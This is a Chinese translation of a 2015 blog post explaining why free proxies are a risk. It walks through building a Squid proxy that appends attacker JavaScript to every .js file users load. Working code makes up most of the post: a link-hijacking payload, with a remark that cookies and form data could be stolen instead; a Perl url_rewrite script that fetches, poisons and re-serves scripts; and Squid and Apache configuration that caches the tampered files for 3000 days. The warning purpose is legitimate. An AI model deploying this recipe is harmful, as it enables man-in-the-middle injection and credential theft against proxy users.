【翻译】为什么会有免费代理?
为什么会有免费代理?
五道口杀气 | 2015-01-04 12:14
因为这是一个很简单就可以收集用户数据的方法。
所有的工作都是可以通过修改SQUID配置达到。
1.[Server] 在linux服务器上安装Squid服务。
2.[Payload] 修改服务端配把所有的javascript文件都加上一段我们自己的代码。
3.[Cache] 修改.js文件的缓存时间。
作者搭建了一个代理服务器,过了几天有超过5000个人用他的代理,大多数的人是用来做坏的事情,但是他们没有想到的是,代理服务器也可以对他们做坏的事情。
做你自己的植入js文件的代理服务器
除了你自己的squid代理服务器外,你还需要一个web服务器,这里用Apache为例:
1.创建payload,这里只是修改a标签连接为例,实际过程可以偷取cookie,获取提交表单内容等。
for(var i=0;i<document.getElementsByTagName('a').length;i++)
document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
2.写squid脚本文件,来修改所有的.js文件:
/etc/squid/poison.pl
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
chomp $_;
if($_ =- /(.*\.js)/i)
{
$url = $1;
system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
system("chmod o+r /var/www/tmp/$pid-$count.js");
system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
}
else
{
print "$_\n";
}
$count++;
}
脚本用wget获取页面原始的javascript文件,然后吧/etc/squid/payload.js文件添加进去,修改后的文件返回到客户端,同时你需要创建/var/www/tmp目录,并允许squid在其中写文件。这个目录存修改后的js文件。
3.告诉squid使用该脚本
在/etc/squid/squid.conf中添加
url_rewrite_program /etc/squid/poison.pl
4.设置js文件缓存时间
/var/www/tmp/.htaccess
ExpiresActive On
ExpiresDefault "access plus 3000 days"
告诉Apache服务器设置超长缓存时间,除非客户端清除浏览器缓存。
原文地址:Why are free proxies free?